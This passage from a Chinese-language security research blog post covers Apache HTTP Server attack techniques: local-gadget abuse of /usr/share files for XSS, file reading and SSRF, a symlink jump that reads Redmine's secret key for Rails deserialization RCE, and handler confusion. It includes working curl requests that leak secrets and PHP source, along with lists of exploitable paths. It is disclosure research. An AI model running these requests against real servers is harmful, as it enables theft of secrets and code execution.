<p>這裡簡單展示一個透過存取 <code class="language-plaintext highlighter-rouge">Davical</code> 套件所存在的 <code class="language-plaintext highlighter-rouge">setup.php</code> 唯讀複本去洩漏 <code class="language-plaintext highlighter-rouge">phpinfo()</code> 內容。</p> <p><img src="/assets/img/blog/20240809/4.png" alt="" /></p> <h5 id="️-2-2-2-local-gadget-to-xss">✔️ 2-2-2. Local Gadget to XSS</h5> <p>接著如何把這個攻擊手法轉化成 XSS 呢? 在 Ubuntu Desktop 環境中預設會安裝 LibreOffice 這套開源的辦公室應用,利用其中幫助文件的語言切換功能來完成 XSS。</p> <p><strong><em>Path: /usr/share/libreoffice/help/help.html</em></strong></p> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">var</span> <span class="nx">url</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">;</span> <span class="kd">var</span> <span class="nx">n</span> <span class="o">=</span> <span class="nx">url</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="dl">'</span><span class="s1">?</span><span class="dl">'</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="nx">n</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// the URL came from LibreOffice help (F1)</span> <span class="kd">var</span> <span class="nx">version</span> <span class="o">=</span> <span class="nx">getParameterByName</span><span class="p">(</span><span class="dl">"</span><span class="s2">Version</span><span class="dl">"</span><span class="p">,</span> <span class="nx">url</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">query</span> <span class="o">=</span> <span class="nx">url</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="nx">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">url</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">newURL</span> <span class="o">=</span> <span class="nx">version</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/index.html?</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">query</span><span class="p">;</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="nx">newURL</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="dl">'</span><span class="s1">latest/index.html</span><span class="dl">'</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>因此就算目標沒有部署任何網頁應用,我們也可以利用一個不安全的 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 透過作業系統自帶的檔案來創造出 XSS。</p> <p><img src="/assets/img/blog/20240809/5.png" alt="" /></p> <h5 id="️-2-2-3-local-gadget-to-lfi">✔️ 2-2-3. Local Gadget to LFI</h5> <p>至於任意檔案讀取呢? 如果目標伺服器上安裝了一些 PHP 甚至前端應用套件,例如 JpGraph、jQuery-jFeed 甚至 WordPress 或 Moodle 外掛,那麼它們自帶的使用教學或是除錯用程式碼都可以變成利用的對象,例如:</p> <ul> <li>/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php</li> <li>/usr/share/javascript/jquery-jfeed/proxy.php</li> <li>/usr/share/moodle/mod/assignment/type/wims/getcsv.php</li> </ul> <p>這裡展示利用 jQuery-jFeed 所自帶的 <code class="language-plaintext highlighter-rouge">proxy.php</code> 來讀取 <code class="language-plaintext highlighter-rouge">/etc/passwd</code>:</p> <p><img src="/assets/img/blog/20240809/6.png" alt="" /></p> <h5 id="️-2-2-4-local-gadget-to-ssrf">✔️ 2-2-4. Local Gadget to SSRF</h5> <p>當然找到一個 SSRF 也不在話下,例如 MagpieRSS 提供了一個 <code class="language-plaintext highlighter-rouge">magpie_debug.php</code> 檔案就是一個絕佳的小工具:</p> <ul> <li>/usr/share/php/magpierss/scripts/magpie_debug.php</li> </ul> <h5 id="️-2-2-5-local-gadget-to-rce">✔️ 2-2-5. Local Gadget to RCE</h5> <p>所以能 RCE 嗎? 別急我們先慢慢來! 首先這個攻擊手法已經可以把既有的攻擊面全部重新套用一次了,例如在某次開發過程中不小心被遺留下來 (甚至可能還是被第三方套件所依賴的) 的舊版本 PHPUnit,可以直接使用 <a href="https://github.com/vulhub/vulhub/tree/master/phpunit/CVE-2017-9841">CVE-2017-9841</a> 來執行任意程式碼,又或者是安裝完 phpLiteAdmin (由於是唯讀副本所以預設密碼是 <code class="language-plaintext highlighter-rouge">admin</code>),相信看到這邊會發現 Local Gadgets Manipulation 這個攻擊手法存在著無窮潛力,剩下只是發掘出更厲害以及更通用的小工具!</p> <p><br /></p> <h4 id="️-primitive-2-3-jailbreak-from-local-gadgets">⚔️ Primitive 2-3. Jailbreak from Local Gadgets</h4> <p>看到這裡你可能會好奇: 「真的不能跳出 <code class="language-plaintext highlighter-rouge">/usr/share</code> 嗎?」 當然可以,這也是要介紹的第三個攻擊手法 —— <strong>從 <code class="language-plaintext highlighter-rouge">/usr/share</code> 中越獄!</strong></p> <p><a href="https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L160">Debian/Ubuntu</a> 的 Httpd 發行版中預設開啟了 <code class="language-plaintext highlighter-rouge">FollowSymLinks</code> 選項,就算非 Debian/Ubuntu 發行版但 Apache HTTP Server 也隱含地預設<a href="https://httpd.apache.org/docs/current/mod/core.html#options">允許符號連結</a>。</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">Directory</span><span class="sr"> /</span><span class="p">&gt; </span> <span class="nc">Options</span> <span class="ss">FollowSymLinks</span> <span class="nc">AllowOverride</span> <span class="ss">None</span> <span class="nc">Require</span> <span class="ss">all</span> denied <span class="p">&lt;/</span><span class="nl">Directory</span><span class="p">&gt; </span></code></pre></div></div> <h5 id="️-2-3-1-jailbreak-from-local-gadgets">✔️ 2-3-1. Jailbreak from Local Gadgets</h5> <p>因此只要有套件在它的安裝目錄下符號連結到 <code class="language-plaintext highlighter-rouge">/usr/share</code> 外,這個符號連結就成為一個跳板去存取更多的小工具完成更多的利用。 這裡列出一些我們已經發現可利用的符號連結:</p> <ul> <li><strong>Cacti Log</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/cacti/site/</code> -&gt; <code class="language-plaintext highlighter-rouge">/var/log/cacti/</code></li> <li><strong>Solr Data</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/solr/data/</code> -&gt; <code class="language-plaintext highlighter-rouge">/var/lib/solr/data</code></li> <li><strong>Solr Config</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/solr/conf/</code> -&gt; <code class="language-plaintext highlighter-rouge">/etc/solr/conf/</code></li> <li><strong>MediaWiki Config</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/mediawiki/config/</code> -&gt; <code class="language-plaintext highlighter-rouge">/var/lib/mediawiki/config/</code></li> <li><strong>SimpleSAMLphp Config</strong>: <code class="language-plaintext highlighter-rouge">/usr/share/simplesamlphp/config/</code> -&gt; <code class="language-plaintext highlighter-rouge">/etc/simplesamlphp/</code></li> </ul> <h5 id="️-2-3-2-jailbreak-local-gadgets-to-redmine-rce">✔️ 2-3-2. Jailbreak Local Gadgets to Redmine RCE</h5> <p>越獄攻擊手法的最後讓我們展示一個利用 Redmine 的雙層符號連結跳躍去完成 RCE 的例子。 在預設安裝的 Redmine 程式碼目錄中有個 <code class="language-plaintext highlighter-rouge">instances/</code> 目錄指向 <code class="language-plaintext highlighter-rouge">/var/lib/redmine/</code>,而位於 <code class="language-plaintext highlighter-rouge">/var/lib/redmine/</code> 下的 <code class="language-plaintext highlighter-rouge">default/config/</code> 目錄又指向 <code class="language-plaintext highlighter-rouge">/etc/redmine/default/</code> 資料夾,裡面存放著 Redmine 的資料庫設定以及應用程式私密金鑰。</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file /usr/share/redmine/instances/ symbolic <span class="nb">link </span>to /var/lib/redmine/ <span class="nv">$ </span>file /var/lib/redmine/config/ symbolic <span class="nb">link </span>to /etc/redmine/default/ <span class="nv">$ </span><span class="nb">ls</span> /etc/redmine/default/ database.yml secret_key.txt </code></pre></div></div> <p>於是透過一個不安全的 <code class="language-plaintext highlighter-rouge">RewriteRule</code> 以及兩層符號連結,我們能夠輕鬆存取到 Redmine 所使用的應用程式金鑰:</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f HTTP/1.1 200 OK Server: Apache/2.4.59 <span class="o">(</span>Ubuntu<span class="o">)</span> ... 6d222c3c3a1881c865428edb79a74405 </code></pre></div></div> <p>而 Redmine 又是基於 Ruby on Rails 所開發的應用程式,其中 <code class="language-plaintext highlighter-rouge">secret_key.txt</code> 的內容其實正是其簽章加密所使用到的金鑰,接下來的流程相信對<a href="https://drive.google.com/file/d/1UMxphxFxwRf7wbrw4_Hr56KGPzpLU3Ef/view">熟悉攻擊 RoR 的同學</a>應該不陌生,透過已知的金鑰將惡意 Marshal 物件簽章加密後嵌入 Cookie,接著透過伺服器端的反序列化最終實現遠端程式碼執行!</p> <p><img src="/assets/img/blog/20240809/7.png" alt="" /></p> <p><br /></p> <h3 id="-3-handler-confusion">🔥 3. Handler Confusion</h3> <p>最後一個要介紹的攻擊是 Handler 上的 Confusion。 這個攻擊同樣也利用了一個 Apache HTTP Server 從上古時期架構所遺留下來的技術債。這裡透過一個例子來讓讀者快速的了解這個技術債 —— 如果今天想在 Httpd 上運行經典的 <code class="language-plaintext highlighter-rouge">mod_php</code>,下面兩個語法設定你覺得哪個才是正確的?</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AddHandler</span> application/x-httpd-php .php <span class="nc">AddType</span> application/x-httpd-php .php </code></pre></div></div> <p>答案是 —— 兩個都可以正確地讓 PHP 運行起來! 這裡分別是兩個設定的語法格式,可以看到兩個設定不僅用法、參數類似,現在連效果都一模一樣,為什麼 Apache HTTP Server 當初要設計兩個不同的語法?</p> <div class="language-config highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">AddHandler</span> <span class="n">handler</span>-<span class="n">name</span> <span class="n">extension</span> [<span class="n">extension</span>] ... <span class="n">AddType</span> <span class="n">media</span>-<span class="n">type</span> <span class="n">extension</span> [<span class="n">extension</span>] ... </code></pre></div></div> <p>實際上 <code class="language-plaintext highlighter-rouge">handler-name</code> 以及 <code class="language-plaintext highlighter-rouge">media-type</code> 在 Httpd 的內部結構中代表著不同的欄位,分別對應到 <code class="language-plaintext highlighter-rouge">r-&gt;handler</code> 以及 <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code>。 而<strong>使用者可以在沒有感知的情況下使用則歸功於一段從 <a href="https://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/src/main/http_config.c">1996 年</a> Apache HTTP Server 開發初期就遺留到現在的程式碼</strong>:</p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/2.4.58/server/config.c#L420">server/config.c#L420</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">AP_CORE_DECLARE</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="n">ap_invoke_handler</span><span class="p">(</span><span class="n">request_rec</span> <span class="o">*</span><span class="n">r</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">handler</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">content_type</span><span class="p">)</span> <span class="p">{</span> <span class="n">handler</span> <span class="o">=</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">content_type</span><span class="p">;</span> <span class="k">if</span> <span class="p">((</span><span class="n">p</span><span class="o">=</span><span class="n">ap_strchr_c</span><span class="p">(</span><span class="n">handler</span><span class="p">,</span> <span class="sc">';'</span><span class="p">))</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="o">*</span><span class="n">new_handler</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">apr_pmemdup</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">,</span> <span class="n">handler</span><span class="p">,</span> <span class="n">p</span> <span class="o">-</span> <span class="n">handler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="kt">char</span> <span class="o">*</span><span class="n">p2</span> <span class="o">=</span> <span class="n">new_handler</span> <span class="o">+</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="n">handler</span><span class="p">);</span> <span class="n">handler</span> <span class="o">=</span> <span class="n">new_handler</span><span class="p">;</span> <span class="cm">/* exclude media type arguments */</span> <span class="k">while</span> <span class="p">(</span><span class="n">p2</span> <span class="o">&gt;</span> <span class="n">handler</span> <span class="o">&amp;&amp;</span> <span class="n">p2</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">' '</span><span class="p">)</span> <span class="o">--</span><span class="n">p2</span><span class="p">;</span> <span class="cm">/* strip trailing spaces */</span> <span class="o">*</span><span class="n">p2</span><span class="o">=</span><span class="sc">'\0'</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">handler</span> <span class="o">=</span> <span class="n">AP_DEFAULT_HANDLER_NAME</span><span class="p">;</span> <span class="p">}</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">handler</span> <span class="o">=</span> <span class="n">handler</span><span class="p">;</span> <span class="p">}</span> <span class="n">result</span> <span class="o">=</span> <span class="n">ap_run_handler</span><span class="p">(</span><span class="n">r</span><span class="p">);</span> </code></pre></div></div> <p>可以看到在進入主要的模組處理器 <code class="language-plaintext highlighter-rouge">ap_run_handler()</code> 之前,如果請求中的 <code class="language-plaintext highlighter-rouge">r-&gt;handler</code> 為空則把結構中 <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> 欄位的內容當成最終將被使用的模組處理器。 這也就是為什麼 <code class="language-plaintext highlighter-rouge">AddType</code> 以及 <code class="language-plaintext highlighter-rouge">AddHandler</code> 效果一致的主要理由,因為 <code class="language-plaintext highlighter-rouge">media-type</code> 最終在執行前還是會被轉換成 <code class="language-plaintext highlighter-rouge">handler-name</code>。 我們的第三個 Handler Confusion 主要也就是圍繞在這個行為所發展出來的攻擊。</p> <p><br /></p> <h4 id="️-primitive-3-1-overwrite-the-handler">⚔️ Primitive 3-1. Overwrite the Handler</h4> <p>在理解這個轉換機制後首先第一個攻擊手法是 —— <strong>Overwrite the Handler</strong>,想像一下如果今天目標的 Apache HTTP Server 透過 <code class="language-plaintext highlighter-rouge">AddType</code> 將 PHP 運行起來。</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AddType</span> application/x-httpd-php .php </code></pre></div></div> <p>在正常的流程中瀏覽 <code class="language-plaintext highlighter-rouge">http://server/config.php</code>。 首先,<code class="language-plaintext highlighter-rouge">mod_mime</code> 會在 <code class="language-plaintext highlighter-rouge">type_checker</code> 階段根據 <code class="language-plaintext highlighter-rouge">AddType</code> 所設定的附檔名將相對應的內容複製到 <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> 中,由於 <code class="language-plaintext highlighter-rouge">r-&gt;handler</code> 在整個 HTTP 生命週期中並無賦值,於是在執行模組處理器前 <code class="language-plaintext highlighter-rouge">ap_invoke_handler()</code> 會將 <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> 當成模組處理器,最終呼叫 <code class="language-plaintext highlighter-rouge">mod_php</code> 處理請求。</p> <p>然而如果今天有任何模組在執行到 <code class="language-plaintext highlighter-rouge">ap_invoke_handler()</code> 前「不小心」把 <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> 覆寫掉了,那會發生什麼事呢?</p> <h5 id="️-3-1-1-overwrite-handler-to-disclose-php-source-code">✔️ 3-1-1. Overwrite Handler to Disclose PHP Source Code</h5> <p>因此這個攻擊手法的第一個利用就是透過這個「不小心」去洩漏任意 PHP 的原始碼。 這個技術最早是由 Max Dmitriev 在 ZeroNights 2021 所發表的研究中提及 (kudos to him!),演講主題及投影片可以從這邊看到:</p> <blockquote> <p><a href="https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf">Apache 0day bug, which still nobody knows of, and which was fixed accidentally</a></p> </blockquote> <p>Max Dmitriev 觀察到只要送出錯誤的 <code class="language-plaintext highlighter-rouge">Content-Length</code>,遠端 Httpd 伺服器會發生不明的錯誤順帶回傳 PHP 的原始碼,在細追流程後發現其成因是 ModSecurity 在使用 APR (Apache Portable Runtime) 函示庫時並未好好的處理 <code class="language-plaintext highlighter-rouge">AP_FILTER_ERROR</code> 回傳值所導致的 <a href="https://github.com/owasp-modsecurity/ModSecurity/issues/2514">double response</a>。 由於發生錯誤時 Httpd 想送出一些 HTML 錯誤訊息,於是 <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> 也順便被覆寫成 <code class="language-plaintext highlighter-rouge">text/html</code>。</p> <p><img src="/assets/img/blog/20240809/8.png" alt="" /></p> <p>由於 ModSecurity 並未妥善的處理回傳值使得本該停止的 Httpd 內部流程繼續執行,而這個「副作用」又會把原本加上的 <code class="language-plaintext highlighter-rouge">Content-Type</code> 給覆寫掉,導致最終該被當成 PHP 的檔案被當成一般文件處理並將其中的程式碼及敏感設定印出。 🤫</p> <div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-v</span> http://127.0.0.1/info.php <span class="nt">-H</span> <span class="s2">"Content-Length: x"</span> <span class="o">&gt;</span> HTTP/1.1 400 Bad Request <span class="o">&gt;</span> Date: Mon, 29 Jul 2024 05:32:23 GMT <span class="o">&gt;</span> Server: Apache/2.4.41 <span class="o">(</span>Ubuntu<span class="o">)</span> <span class="o">&gt;</span> Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>iso-8859-1 &lt;<span class="o">!</span>DOCTYPE HTML PUBLIC <span class="s2">"-//IETF//DTD HTML 2.0//EN"</span><span class="o">&gt;</span> &lt;html&gt;&lt;<span class="nb">head</span><span class="o">&gt;</span> &lt;title&gt;400 Bad Request&lt;/title&gt; ... &lt;?php phpinfo<span class="o">()</span><span class="p">;</span>?&gt; </code></pre></div></div> <p>理論上所有基於 <code class="language-plaintext highlighter-rouge">Content-Type</code> 的設定語法都容易遭受此類問題影響,所以除了 Max 在投影片中所展示的 <code class="language-plaintext highlighter-rouge">php-cgi</code> 搭配 <code class="language-plaintext highlighter-rouge">mod_actions</code> 外,純粹的 <code class="language-plaintext highlighter-rouge">mod_php</code> 搭配上 <code class="language-plaintext highlighter-rouge">AddType</code> 也同樣也受影響。</p> <p>另外值得一提的是,這個副作用在 Apache HTTP Server 版本 2.4.44 時被當成一個<a href="https://github.com/apache/httpd/commit/3303dc4f7273e05ea9a80402b33f68cd155c146a">增進請求解析器</a>的程式錯誤被更正,於是這個「漏洞」就被當成已修復直到我重新撿起它。 但由於其根本成因還是 ModSecurity 並未好好的處理錯誤,只要找到其它條觸發 <code class="language-plaintext highlighter-rouge">AP_FILTER_ERROR</code> 的路徑那同樣的行為還是可以重現成功。</p> <p><em>P.S. 此問題已於 6/20 透過官方信箱回報給 ModSecurity 並由 Project Co-Leader 建議回到原 <a href="https://github.com/owasp-modsecurity/ModSecurity/issues/2514">GitHub Issue</a> 中討論。</em></p> <h5 id="️-3-1-2-overwrite-handler-to---">✔️ 3-1-2. Overwrite Handler to ██████ ███████ ██████</h5> <p>基於前面提到的 <a href="https://github.com/owasp-modsecurity/ModSecurity/issues/2514">double response</a> 行為以及副作用,這個攻擊手法還可以完成其它更酷的利用,不過由於此問題尚未完全修復,更進一步的利用方式,將於修復完成後再揭露。</p> <p><br /></p> <h4 id="️-primitive-3-2-invoke-arbitrary-handlers">⚔️ Primitive 3-2. Invoke Arbitrary Handlers</h4> <p>仔細思考前面 Overwrite Handler 攻擊手法,雖然是因為 ModSecurity 並未好好的處理錯誤,導致請求被設置上錯誤的 <code class="language-plaintext highlighter-rouge">Content-Type</code>。 但再深入的探究其根本原因應該是 —— <strong>Apache HTTP Server 在使用 <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> 時,其實無從辨別它的語意,這個欄位既可以是在請求階段被語法設定好的值,也可以是回應階段伺服器回傳 <code class="language-plaintext highlighter-rouge">Content-Type</code> 標頭的內容。</strong></p> <p>所以理論上如果能控制伺服器回應中 <code class="language-plaintext highlighter-rouge">Content-Type</code> 標頭的內容,那就可以透過那段從開發初期遺留至今的程式碼呼叫任意的模組處理器,這也是 Handler Confusion 的最後一個攻擊手法 —— <strong>呼叫任意 Apache HTTP Server 的內部模組處理器</strong>!</p> <p>但這裡還有最後的一塊拼圖必須填上,在 Httpd 中所有可以從伺服器回應修改到 <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> 的地方全都發生在那段遺留程式碼之後,就算修改到該欄位的內容,此時 HTTP 生命週期也進入尾聲,無法再做更進一步的利用…… 嗎?</p> <p>我們找了 <a href="https://datatracker.ietf.org/doc/html/rfc3875">RFC 3875</a> 來當救援投手! RFC 3875 是一個關於 CGI 的規範,其中 <a href="https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2">6.2.2. 節</a>定義了一個 Local Redirect Response 行為:</p> <blockquote> <p>The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.</p> </blockquote> <p>簡單來說規範了 CGI 在特定條件下必須使用伺服器端的資源去處理轉址,仔細檢視 <code class="language-plaintext highlighter-rouge">mod_cgi</code> 對於這個規範的實作會發現:</p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/2.4.58/modules/generators/mod_cgi.c#L983">modules/generators/mod_cgi.c#L983</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="p">((</span><span class="n">ret</span> <span class="o">=</span> <span class="n">ap_scan_script_header_err_brigade_ex</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">bb</span><span class="p">,</span> <span class="n">sbuf</span><span class="p">,</span> <span class="c1">// &lt;------ [1]</span> <span class="n">APLOG_MODULE_INDEX</span><span class="p">)))</span> <span class="p">{</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">log_script</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">conf</span><span class="p">,</span> <span class="n">ret</span><span class="p">,</span> <span class="n">dbuf</span><span class="p">,</span> <span class="n">sbuf</span><span class="p">,</span> <span class="n">bb</span><span class="p">,</span> <span class="n">script_err</span><span class="p">);</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">==</span> <span class="n">HTTP_NOT_MODIFIED</span><span class="p">)</span> <span class="p">{</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">status</span> <span class="o">=</span> <span class="n">ret</span><span class="p">;</span> <span class="k">return</span> <span class="n">OK</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> <span class="p">}</span> <span class="n">location</span> <span class="o">=</span> <span class="n">apr_table_get</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">headers_out</span><span class="p">,</span> <span class="s">"Location"</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">location</span> <span class="o">&amp;&amp;</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">status</span> <span class="o">==</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">location</span> <span class="o">&amp;&amp;</span> <span class="n">location</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'/'</span> <span class="o">&amp;&amp;</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">status</span> <span class="o">==</span> <span class="mi">200</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// &lt;------ [2]</span> <span class="cm">/* This redirect needs to be a GET no matter what the original * method was. */</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">method</span> <span class="o">=</span> <span class="s">"GET"</span><span class="p">;</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">method_number</span> <span class="o">=</span> <span class="n">M_GET</span><span class="p">;</span> <span class="cm">/* We already read the message body (if any), so don't allow * the redirected request to think it has one. We can ignore * Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR. */</span> <span class="n">apr_table_unset</span><span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">headers_in</span><span class="p">,</span> <span class="s">"Content-Length"</span><span class="p">);</span> <span class="n">ap_internal_redirect_handler</span><span class="p">(</span><span class="n">location</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span> <span class="c1">// &lt;------ [3]</span> <span class="k">return</span> <span class="n">OK</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>首先 <code class="language-plaintext highlighter-rouge">mod_cgi</code> 會先執行<sup>[1]</sup> CGI 並掃描其輸出結果並設置上相對應的 <code class="language-plaintext highlighter-rouge">Status</code> 以及 <code class="language-plaintext highlighter-rouge">Content-Type</code>,如果<sup>[2]</sup>回傳的 <code class="language-plaintext highlighter-rouge">Status</code> 是 200 以及 <code class="language-plaintext highlighter-rouge">Location</code> 標頭欄位是 <code class="language-plaintext highlighter-rouge">/</code> 開頭則把這個回應當成一個伺服器端的轉址並開始處理<sup>[3]</sup>。 再仔細審視 <code class="language-plaintext highlighter-rouge">ap_internal_redirect_handler()</code> 的實作會發現:</p> <p><strong><em>Path: <a href="https://github.com/apache/httpd/blob/2.4.58/modules/http/http_request.c#L800">modules/http/http_request.c#L800</a></em></strong></p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">AP_DECLARE</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="n">ap_internal_redirect_handler</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">new_uri</span><span class="p">,</span> <span class="n">request_rec</span> <span class="o">*</span><span class="n">r</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">access_status</span><span class="p">;</span> <span class="n">request_rec</span> <span class="o">*</span><span class="n">new</span> <span class="o">=</span> <span class="n">internal_internal_redirect</span><span class="p">(</span><span class="n">new_uri</span><span class="p">,</span> <span class="n">r</span><span class="p">);</span> <span class="c1">// &lt;------ [1]</span> <span class="cm">/* ap_die was already called, if an error occured */</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">new</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">r</span><span class="o">-&gt;</span><span class="n">handler</span><span class="p">)</span> <span class="n">ap_set_content_type</span><span class="p">(</span><span class="n">new</span><span class="p">,</span> <span class="n">r</span><span class="o">-&gt;</span><span class="n">content_type</span><span class="p">);</span> <span class="c1">// &lt;------ [2]</span> <span class="n">access_status</span> <span class="o">=</span> <span class="n">ap_process_request_internal</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> <span class="c1">// &lt;------ [3]</span> <span class="k">if</span> <span class="p">(</span><span class="n">access_status</span> <span class="o">==</span> <span class="n">OK</span><span class="p">)</span> <span class="p">{</span> <span class="n">access_status</span> <span class="o">=</span> <span class="n">ap_invoke_handler</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> <span class="c1">// &lt;------ [4]</span> <span class="p">}</span> <span class="n">ap_die</span><span class="p">(</span><span class="n">access_status</span><span class="p">,</span> <span class="n">new</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>Httpd 首先創建<sup>[1]</sup>了一個新的請求結構並將當前的 <code class="language-plaintext highlighter-rouge">r-&gt;content_type</code> 複<sup>[2]</sup>進去,在處<sup>[3]</sup>完生命週期後呼叫<sup>[4]</sup> <code class="language-plaintext highlighter-rouge">ap_invoke_handler()</code> —— 也就是前面提及包含歷史遺留轉換的地方,所以<strong>在伺服器端轉址中,如果可以控制回應標頭,就可以在 Httpd 中呼叫任意的模組處理器。</strong> 基本上所有 Apache HTTP Server 中的 CGI 系列實作都遵守這個行為,這裡是一個簡單的列表:</p> <ul> <li>mod_cgi</li> <li>mod_cgid</li> <li>mod_wsgi</li> <li>mod_uwsgi</li> <li>mod_fastcgi</li> <li>mod_perl</li> <li>mod_asis</li> <li>mod_fcgid</li> <li>mod_proxy_scgi</li> <li>…</li> </ul> <p>至於如何在真實情境中觸發這個伺服器轉址呢? 由於至少需要控制 HTTP 回應中 <code class="language-plaintext highlighter-rouge">Content-Type</code> 及部分 <code class="language-plaintext highlighter-rouge">Location</code>,這裡給出兩個情境以供參考:</p> <ol> <li>位於 CGI 回應標頭中的 CRLF Injection,透過換行去覆寫已存在的 HTTP 標頭</li> <li>可完整控制回應標頭的 SSRF,例如託管在 <code class="language-plaintext highlighter-rouge">mod_wsgi</code> 上的 <a href="https://django-revproxy.readthedocs.io/en/latest/">django-revproxy</a> 專案</li> </ol> <p>接下來的範例都基於這個不安全的 CRLF Injection 來做示範:</p> <div class="language-perl highlighter-rouge"><div class="highlight"><pre 